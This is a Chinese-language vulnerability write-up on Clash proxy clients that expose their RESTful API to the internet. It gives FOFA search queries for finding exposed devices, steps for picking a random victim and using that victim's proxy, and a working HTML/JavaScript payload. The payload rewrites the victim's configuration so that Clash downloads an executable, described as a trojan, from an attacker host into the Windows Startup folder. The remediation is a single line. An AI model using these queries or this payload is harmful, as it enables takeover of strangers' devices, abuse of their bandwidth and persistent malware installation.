漏洞描述

Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发,因此Electron拥有直接执行Node.js代码的能力,并且内置了Chromium内核,通过一个XSS漏洞就有可能导致远程代码执行的危害。

根据Clash官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash存在一套RESTful API可以用于控制自身,能获取Clash中的一些信息,同时也能控制Clash内部的配置。

在公网中,有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口,导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口,达到使用被害者设备代理翻墙的目的

同时,黑客也能利用以上拓补关系和较低版本Clash的历史漏洞(详见此issue:[Bug]: Remote Code Execution/远程代码执行 #3891),达到Getshell的目的

漏洞复现

在FOFA中使用下面语法对暴露的Clash API进行搜集

clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D

clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D

openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D

随机挑选,在Clash dashboard中导入拥有如下返回的IP地址和端口

即可看到该设备的节点信息

在设置中查看HTTP代理端口或混合代理端口信息

使用SwitchyOmega插件进行代理

即可访问Google

另外,如果想Getshell可以利用下面这段js代码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <title>Hack it!</title>
</head>

<body>
    <div id="result"></div>
    <script>
        const data = {
            payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n  - name: 系统被入侵\n    type: select\n    use:\n      - provider1\nproxy-providers:\n  provider1:\n    type: http\n    url: 'http://192.168.2.5/artifact.exe'\n    interval: 36000\n    path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n    healthcheck:\n      enable: false\n      interval: 600\n      url: http://www.gstatic.com/generate_204"
        };
        fetch('http://{yourip}:{yourport}/configs', {
                method: 'PUT',
                headers: {
                    'Content-type': 'application/json; charset=utf-8',
                    //'Authorization': 'Bearer 123456' //clash鉴权头部
                },
                body: JSON.stringify(data),
            })
            .then(response => {
                if (response.status === 204) {
                    result.innerText = '入侵成功!';
                } else {
                    response.json()
                        .then(jsonData => {
                            result.innerText = '入侵失败!' + JSON.stringify(jsonData);
                        })
                }
            })
            .catch(error => {
                result.innerText = '执行失败!' + error.message;
            });
    </script>
</body>

</html>

这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup开机自启目录,这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。

漏洞修复

开启随机密码进行鉴权和随机端口